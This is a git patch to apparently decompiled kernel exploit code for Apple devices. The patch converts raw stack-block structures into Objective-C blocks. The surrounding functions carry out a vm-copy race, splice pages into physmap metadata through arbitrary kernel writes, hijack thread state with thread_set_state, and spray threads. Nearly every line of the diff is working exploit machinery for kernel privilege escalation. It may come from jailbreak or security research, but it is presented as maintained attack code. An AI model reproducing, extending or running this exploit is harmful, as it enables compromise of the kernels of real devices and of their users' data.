From f72aaba0be5910312d8950643e80a2df10c6769a Mon Sep 17 00:00:00 2001 From: khanhduytran0 Date: Thu, 18 Jun 2026 15:20:07 +0700 Subject: [PATCH] Rewrite raw stack blocks as ObjC blocks --- src/payload_377bed/Makefile | 1 + src/payload_377bed/entry1_type0x09_common.h | 37 ++- .../entry1_type0x09_iogpu_physmap_engine.m | 263 +++++++----------- .../entry1_type0x09_macho_patterns.m | 59 +--- 4 files changed, 138 insertions(+), 222 deletions(-) diff --git a/src/payload_377bed/Makefile b/src/payload_377bed/Makefile index 67b09d2..c634dbc 100644 --- a/src/payload_377bed/Makefile +++ b/src/payload_377bed/Makefile @@ -40,6 +40,7 @@ entry1_type0x09_CFLAGS = \ -Wno-incompatible-library-redeclaration \ -Wno-implicit-int \ -fno-builtin \ + -fblocks \ -I. entry1_type0x09_FRAMEWORKS = CoreFoundation IOKit Security entry1_type0x09_INSTALL_PATH = /usr/local/lib diff --git a/src/payload_377bed/entry1_type0x09_common.h b/src/payload_377bed/entry1_type0x09_common.h index 62eff8c..a3b188f 100644 --- a/src/payload_377bed/entry1_type0x09_common.h +++ b/src/payload_377bed/entry1_type0x09_common.h @@ -7,6 +7,7 @@ #include #include #include +#include @import Foundation; #ifndef RECOMP_TRACE_DMAFAIL @@ -47,6 +48,35 @@ #define TRACE_PORTS(...) do { } while (0) #endif +static inline void *recomp_copy_void_block_thread_arg(void (^block)(void)) +{ +#if __has_feature(objc_arc) + return (__bridge_retained void *)[block copy]; +#else + return Block_copy(block); +#endif +} + +static inline void recomp_release_block(id block) +{ +#if !__has_feature(objc_arc) + Block_release((__bridge const void *)block); +#endif +} + +static void *recomp_run_copied_void_block_thread(void *arg) +{ +#if __has_feature(objc_arc) + void (^block)(void) = (__bridge_transfer void (^)(void))arg; + block(); +#else + void (^block)(void) = (void (^)(void))arg; + block(); + Block_release(block); +#endif + return NULL; +} + typedef struct { uint64_t packed_info; @@ -185,11 +215,7 @@ __int64 __fastcall vtable_call_slot2(__int64 a1, __int64 a2); __int64 __fastcall setup_notification_extra_args(__int64 a1, __int64 a2, __int64 a3); __int64 __fastcall trigger_kstate_write_vtable(__int64 *a1, __int64 a2, __int64 a3); __int64 __fastcall pack_exploit_args_buffer(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, __int64 a9); -__int64 __fastcall call_vtable_ptr_slot2(__int64 a1); __int64 __fastcall exploit_thread_vmcopy_race(__int64 a1); -__int64 __fastcall run_exploit_thread(__int64 a1); -__int64 __fastcall write_kaddr_to_physmap(__int64 a1, unsigned __int8 a2); -__int64 __fastcall trigger_thread_state_mod(__int64 a1); __int64 __fastcall get_ppnum_via_kread(__int64 a1); __int64 __fastcall compare_cfdict_entries(const void *a1, const void *a2); void __fastcall iterate_cftype_values(const void *a1, CFTypeRef cf, __int64 a3); @@ -282,9 +308,6 @@ __int64 __fastcall write_task_kobject_fields(__int64 a1, __int64 a2); __int64 __fastcall trigger_iokit_property_exploit(__int64 a1); __int64 __fastcall wait_thread_ready(__int64 a1, uint64_t **a2); __int64 __fastcall thread_hijack_exploit(__int64 a1); -__int64 __fastcall call_vtable_ptr_slot2_v2(__int64 a1); -__int64 __fastcall spin_wait_el0_via_ptr(__int64 a1); -__int64 __fastcall wait_thread_via_ptr(__int64 a1); __int64 __fastcall get_task_vm_region_base(task_name_t a1); __int64 __fastcall get_task_vm_info_0(task_name_t a1, uint64_t *a2); __int64 __fastcall iosurface_enum_mach_port(__int64 a1, unsigned int a2); diff --git a/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.m b/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.m index 6afea93..d5cccb3 100644 --- a/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.m +++ b/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.m @@ -118,48 +118,7 @@ typedef struct CfCollectionApplyContext const void *object; } CfCollectionApplyContext; -typedef struct VmcopyRaceThreadBlock -{ - uint64_t isa; - uint64_t flags; - void *invoke; - void *descriptor; - __int64 *state; - thread_act_t *targetThread; - void *threadList; - semaphore_t readySemaphore; - semaphore_t resumeSemaphore; -} VmcopyRaceThreadBlock; - -typedef struct VmcopyWritePhysmapBlock -{ - uint64_t isa; - uint64_t flags; - __int64 (__fastcall *invoke)(__int64, unsigned __int8); - void *descriptor; - __int64 ctx; - __int64 kaddr; - unsigned __int64 pteIndex; - unsigned __int64 pteAddr; - unsigned __int64 pageTableBase; - vm_size_t size; - __int64 savedNext; - __int64 savedPrev; - int pageShift; - mem_entry_name_port_t objectHandle; -} VmcopyWritePhysmapBlock; - -typedef struct VmcopyTriggerThreadBlock -{ - uint64_t isa; - uint64_t flags; - void *invoke; - void *descriptor; - __int64 ctx; - __int64 *state; - semaphore_t readySemaphore; - semaphore_t resumeSemaphore; -} VmcopyTriggerThreadBlock; +typedef __int64 (^VmcopyWritePhysmapBlock)(unsigned __int8 mapTag); typedef struct VmcopyPackedMemoryEntry { @@ -258,27 +217,58 @@ enum VMCOPY_MARKER64 = 0xC0C0C0C0C0C0C0C0ULL, }; -static inline void vmcopy_init_race_thread_block( - VmcopyRaceThreadBlock *block, +static inline __int64 vmcopy_run_exploit_thread_body( __int64 *state, thread_act_t *targetThread, - void *threadList, - semaphore_t readySemaphore, - semaphore_t resumeSemaphore) + void *threadList) { - block->isa = _NSConcreteStackBlock; - block->flags = 3221225472LL; - block->invoke = run_exploit_thread; - block->descriptor = &unk_44870; - block->readySemaphore = readySemaphore; - block->resumeSemaphore = resumeSemaphore; - block->state = state; - block->targetThread = targetThread; - block->threadList = threadList; + __int64 result = 0; + + // Paired with the main race loop: wait until the parent has primed the + // mapped thread object, terminate it, then refill the slot with new threads. + __semwait_signal(); + while ( !*state ) + ; + thread_terminate(*targetThread); + for ( __int64 i = 0; i != 256; i += 4 ) + result = thread_create(mach_task_self_, (thread_act_t *)((char *)threadList + i)); + *targetThread = 0; + *state = 2; + return result; } -static inline void vmcopy_init_write_physmap_block( - VmcopyWritePhysmapBlock *block, +static inline __int64 vmcopy_write_kaddr_to_physmap_body( + __int64 ctx, + __int64 kaddr, + uint64_t pteIndex, + uint64_t pteAddr, + uint64_t pageTableBase, + vm_size_t size, + int pageShift, + mem_entry_name_port_t objectHandle, + uint64_t savedNext, + uint64_t savedPrev, + unsigned __int8 mapTag) +{ + mem_entry_name_port_t objectHandleCopy = 0; + + // Temporarily splice the chosen physical page into the physmap metadata. + kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), kaddr, pteIndex | (pteIndex << 32)); + __int64 pageIndex = (kaddr - pageTableBase) >> pageShift; + kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), pteAddr + 8LL, pageIndex | (pageIndex << 32)); + mach_make_memory_entry( + mach_task_self_, + &size, + 0, + (mapTag << 24) | 0x10003, + &objectHandleCopy, + objectHandle); + kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), pteAddr + 8LL, savedNext); + kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), kaddr, savedPrev); + return mach_port_destroy(mach_task_self_, objectHandleCopy); +} + +static inline VmcopyWritePhysmapBlock vmcopy_create_write_physmap_block( __int64 ctx, __int64 kaddr, uint64_t pteIndex, @@ -290,37 +280,36 @@ static inline void vmcopy_init_write_physmap_block( uint64_t savedNext, uint64_t savedPrev) { - block->isa = _NSConcreteStackBlock; - block->flags = 3221225472LL; - block->invoke = write_kaddr_to_physmap; - block->descriptor = &unk_44890; - block->ctx = ctx; - block->kaddr = kaddr; - block->pteIndex = pteIndex; - block->pteAddr = pteAddr; - block->pageTableBase = pageTableBase; - block->size = size; - block->pageShift = pageShift; - block->objectHandle = objectHandle; - block->savedNext = savedNext; - block->savedPrev = savedPrev; + VmcopyWritePhysmapBlock block = ^__int64(unsigned __int8 mapTag) { + return vmcopy_write_kaddr_to_physmap_body( + ctx, + kaddr, + pteIndex, + pteAddr, + pageTableBase, + size, + pageShift, + objectHandle, + savedNext, + savedPrev, + mapTag); + }; + +#if __has_feature(objc_arc) + return [block copy]; +#else + return (VmcopyWritePhysmapBlock)Block_copy(block); +#endif } -static inline void vmcopy_init_trigger_thread_block( - VmcopyTriggerThreadBlock *block, +static inline __int64 vmcopy_trigger_thread_state_mod_body( __int64 ctx, - __int64 *state, - semaphore_t readySemaphore, - semaphore_t resumeSemaphore) + __int64 *state) { - block->isa = _NSConcreteStackBlock; - block->flags = 3221225472LL; - block->invoke = trigger_thread_state_mod; - block->descriptor = &unk_448B0; - block->readySemaphore = readySemaphore; - block->resumeSemaphore = resumeSemaphore; - block->ctx = ctx; - block->state = state; + __semwait_signal(); + while ( !*state ) + ; + return thread_set_state(*(uint32_t *)(ctx + 672), 6, (thread_state_t)(ctx + 384), 0x44u); } static inline uint32_t vmcopy_find_thread_policy_offset( @@ -556,7 +545,7 @@ static inline void vmcopy_prime_fake_message_pages(__int64 kreadCtx, uint64_t me static inline uint64_t vmcopy_run_thread_state_race( __int64 state, const __int128 savedThreadObject[19], - VmcopyWritePhysmapBlock *writePhysmapBlock, + VmcopyWritePhysmapBlock writePhysmapBlock, semaphore_t readySemaphore, semaphore_t resumeSemaphore, uint64_t baselineNext, @@ -567,18 +556,19 @@ static inline uint64_t vmcopy_run_thread_state_race( while ( 1 ) { pthread_t triggerThread = 0; - __int64 triggerState = 0; - VmcopyTriggerThreadBlock triggerThreadBlock; + __block __int64 triggerState = 0; memcpy(*(void **)(state + VMCOPY_MAPPED_THREAD_OBJECT_OFFSET), savedThreadObject, 0x130u); - vmcopy_init_trigger_thread_block(&triggerThreadBlock, state, &triggerState, readySemaphore, resumeSemaphore); - pthread_create(&triggerThread, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &triggerThreadBlock); + void (^triggerThreadBlock)(void) = ^{ + vmcopy_trigger_thread_state_mod_body(state, &triggerState); + }; + pthread_create(&triggerThread, 0, recomp_run_copied_void_block_thread, recomp_copy_void_block_thread_arg(triggerThreadBlock)); semaphore_wait(resumeSemaphore); semaphore_signal(readySemaphore); uint64_t mappedThreadObject = *(uint64_t *)(state + VMCOPY_MAPPED_THREAD_OBJECT_OFFSET); *(uint64_t *)(mappedThreadObject + 240) = 0; - writePhysmapBlock->invoke((__int64)writePhysmapBlock, 8u); + writePhysmapBlock(8u); triggerState = 1; uint32_t *threadPolicyBits = (uint32_t *)(mappedThreadObject + 272); @@ -592,7 +582,7 @@ static inline uint64_t vmcopy_run_thread_state_race( } while ( !*triggered ); - writePhysmapBlock->invoke((__int64)writePhysmapBlock, 1u); + writePhysmapBlock(1u); pthread_join(triggerThread, 0); uint64_t observedNext = kread_u64_value( @@ -810,8 +800,7 @@ static inline uint64_t vmcopy_prepare_thread_state_physmap_race( uint64_t savedEntryPage = kread_u64_value(kreadCtx, memoryEntry->pageInfoKaddr); uint64_t savedTargetPageNext = kread_u64_value(kreadCtx, targetPageInfo + 8); - vmcopy_init_write_physmap_block( - writePhysmapBlock, + *writePhysmapBlock = vmcopy_create_write_physmap_block( state, memoryEntry->pageInfoKaddr, targetPageRef, @@ -8473,12 +8462,6 @@ __int64 __fastcall pack_exploit_args_buffer( payload); } -//----- (00000000000111B4) ---------------------------------------------------- -__int64 __fastcall call_vtable_ptr_slot2(__int64 a1) -{ - return (*(__int64 (**)(void))(a1 + 16))(); -} - //----- (00000000000111C0) ---------------------------------------------------- __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct) { @@ -8490,12 +8473,11 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct) semaphore_t resumeSemaphore = 0; uint32_t pageShift = 0; natural_t suspendedThreadState[0x44]; // BYREF - VmcopyWritePhysmapBlock writePhysmapBlock; // BYREF + VmcopyWritePhysmapBlock writePhysmapBlock = nil; integer_t policyInfo[4]; // BYREF - VmcopyRaceThreadBlock raceThreadBlock; // BYREF pthread_t raceThread; // BYREF - __int64 raceState; // BYREF - thread_act_t targetThread = 0; // BYREF + __block __int64 raceState; // BYREF + __block thread_act_t targetThread = 0; // BYREF thread_act_t sprayedThread; // BYREF uint64_t pageInfoPayload[VMCOPY_PAGE_INFO_PAYLOAD_WORDS]; // BYREF VmcopyTargetThreadMapping targetMapping; // BYREF @@ -8550,8 +8532,11 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct) raceState = 0; memset(capturedThreadSlots, 0, sizeof(capturedThreadSlots)); - vmcopy_init_race_thread_block(&raceThreadBlock, &raceState, &targetThread, capturedThreadSlots, resumeSemaphore, readySemaphore); - pthread_create(&raceThread, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &raceThreadBlock); + void *capturedThreadList = capturedThreadSlots; + void (^raceThreadBlock)(void) = ^{ + vmcopy_run_exploit_thread_body(&raceState, &targetThread, capturedThreadList); + }; + pthread_create(&raceThread, 0, recomp_run_copied_void_block_thread, recomp_copy_void_block_thread_arg(raceThreadBlock)); semaphore_wait(readySemaphore); uint64_t raceThreadKaddr = vmcopy_set_low_priority_and_find_policy_offset(*kreadCtxSlot, raceThread, policyInfo, &policyOffset); @@ -8617,13 +8602,15 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct) uint64_t capturedSnapshot = vmcopy_run_thread_state_race( someStruct, savedThreadObject, - &writePhysmapBlock, + writePhysmapBlock, resumeSemaphore, readySemaphore, baselineNext, replacementNext, originalNext, targetThreadKaddr); + recomp_release_block(writePhysmapBlock); + writePhysmapBlock = nil; memcpy(exceptionSnapshot, (const void *)capturedSnapshot, VMCOPY_THREAD_OBJECT_SNAPSHOT_BYTES); vmcopy_receive_captured_thread_exception(someStruct, exceptionSnapshot); vmcopy_install_final_fake_thread_object( @@ -8645,68 +8632,6 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct) return 0; } -//----- (00000000000125E4) ---------------------------------------------------- -__int64 __fastcall run_exploit_thread(__int64 a1) -{ - VmcopyRaceThreadBlock *block = (VmcopyRaceThreadBlock *)a1; - __int64 result = 0; - - // Paired with the main race loop: wait until the parent has primed the - // mapped thread object, terminate it, then refill the slot with new threads. - __semwait_signal(); - while ( !*block->state ) - ; - thread_terminate(*block->targetThread); - for ( __int64 i = 0; i != 256; i += 4 ) - result = thread_create(mach_task_self_, (thread_act_t *)((char *)block->threadList + i)); - *block->targetThread = 0; - *block->state = 2; - return result; -} - -//----- (0000000000012678) ---------------------------------------------------- -__int64 __fastcall write_kaddr_to_physmap(__int64 a1, unsigned __int8 a2) -{ - VmcopyWritePhysmapBlock *block = (VmcopyWritePhysmapBlock *)a1; - __int64 ctx; // x21 - __int64 pageIndex; // x8 - mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-24h] BYREF - - object_handle = 0; - ctx = block->ctx; - - // Temporarily splice the chosen physical page into the physmap metadata. - kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->kaddr, block->pteIndex | (block->pteIndex << 32)); - pageIndex = (block->kaddr - block->pageTableBase) >> block->pageShift; - kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->pteAddr + 8LL, pageIndex | (pageIndex << 32)); - mach_make_memory_entry( - mach_task_self_, - &block->size, - 0, - (a2 << 24) | 0x10003, - &object_handle, - block->objectHandle); - kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->pteAddr + 8LL, block->savedNext); - kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->kaddr, block->savedPrev); - return mach_port_destroy(mach_task_self_, object_handle); -} - -//----- (0000000000012754) ---------------------------------------------------- -__int64 __fastcall trigger_thread_state_mod(__int64 a1) -{ - VmcopyTriggerThreadBlock *block = (VmcopyTriggerThreadBlock *)a1; - __int64 ctx; // x20 - thread_act_t targetThread; // w0 - - ctx = block->ctx; - __semwait_signal(); - while ( !*block->state ) - ; - targetThread = *(uint32_t *)(ctx + 672); - return thread_set_state(targetThread, 6, (thread_state_t)(ctx + 384), 0x44u); -} -// 127B0: variable 'vars8' is possibly undefined - //----- (00000000000127C0) ---------------------------------------------------- __int64 __fastcall get_ppnum_via_kread(__int64 a1) { diff --git a/src/payload_377bed/entry1_type0x09_macho_patterns.m b/src/payload_377bed/entry1_type0x09_macho_patterns.m index 719f10e..3e9d833 100644 --- a/src/payload_377bed/entry1_type0x09_macho_patterns.m +++ b/src/payload_377bed/entry1_type0x09_macho_patterns.m @@ -1355,7 +1355,6 @@ __int64 __fastcall thread_hijack_exploit(__int64 a1) __int64 v28; // x0 unsigned __int64 v29; // x8 __int64 v30; // x28 - unsigned __int64 v31; // x8 mach_port_name_t v32; // w0 __int64 v33; // x8 int v34; // w21 @@ -1371,9 +1370,7 @@ __int64 __fastcall thread_hijack_exploit(__int64 a1) unsigned __int64 v44; // [xsp+78h] [xbp-3C8h] __int64 v45; // [xsp+88h] [xbp-3B8h] uintptr_t v46; // [xsp+90h] [xbp-3B0h] - uint64_t v47[12]; // [xsp+A8h] [xbp-398h] BYREF pthread_t v48; // [xsp+108h] [xbp-338h] BYREF - uint64_t v49[5]; // [xsp+110h] [xbp-330h] BYREF __int64 v50; // [xsp+138h] [xbp-308h] BYREF __int128 policy_info; // [xsp+140h] [xbp-300h] BYREF __int128 connect[2]; // [xsp+150h] [xbp-2F0h] BYREF @@ -1531,32 +1528,21 @@ __int64 __fastcall thread_hijack_exploit(__int64 a1) 28765); v30 = 0; *(uint32_t *)(a1 + 20) = mach_thread_self(); + void (^spinWaitBlock)(void) = ^{ + spin_wait_el0_transition(a1); + }; do - { - v49[0] = _NSConcreteStackBlock; - v49[1] = 3221225472LL; - v49[2] = spin_wait_el0_via_ptr; - v49[3] = &unk_44918; - v49[4] = a1; - pthread_create((pthread_t *)&v58[v30++], 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2_v2, v49); - } + pthread_create( + (pthread_t *)&v58[v30++], + 0, + recomp_run_copied_void_block_thread, + recomp_copy_void_block_thread_arg(spinWaitBlock)); while ( v30 != 64 ); - v47[0] = _NSConcreteStackBlock; - v47[1] = 3221225472LL; - v47[2] = wait_thread_via_ptr; - v47[3] = &unk_44938; - v47[4] = a1; - v47[5] = &v50; - v31 = v44; - if ( v2 <= 0x918C5A833FFLL ) - v31 = v42; - v47[6] = v45 + 8; - v47[7] = v38; - v47[8] = v31; - v47[9] = 0; - v47[10] = v26; - v47[11] = v22; - pthread_create(&v48, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2_v2, v47); + uint64_t *waitState = (uint64_t *)&v50; + void (^waitThreadBlock)(void) = ^{ + wait_thread_ready(a1, &waitState); + }; + pthread_create(&v48, 0, recomp_run_copied_void_block_thread, recomp_copy_void_block_thread_arg(waitThreadBlock)); while ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) == 0 ) { v32 = mach_thread_self(); @@ -1605,24 +1591,6 @@ __int64 __fastcall thread_hijack_exploit(__int64 a1) } // 20: using guessed type segment_command_64 stru_20; -//----- (000000000001BC54) ---------------------------------------------------- -__int64 __fastcall call_vtable_ptr_slot2_v2(__int64 a1) -{ - return (*(__int64 (**)(void))(a1 + 16))(); -} - -//----- (000000000001BC60) ---------------------------------------------------- -__int64 __fastcall spin_wait_el0_via_ptr(__int64 a1) -{ - return spin_wait_el0_transition(*(uint64_t *)(a1 + 32)); -} - -//----- (000000000001BC68) ---------------------------------------------------- -__int64 __fastcall wait_thread_via_ptr(__int64 a1) -{ - return wait_thread_ready(*(uint64_t *)(a1 + 32), (uint64_t **)(a1 + 40)); -} - //----- (000000000001BC78) ---------------------------------------------------- __int64 __fastcall get_task_vm_region_base(task_name_t a1) { @@ -3968,4 +3936,3 @@ LABEL_13: } return result; } -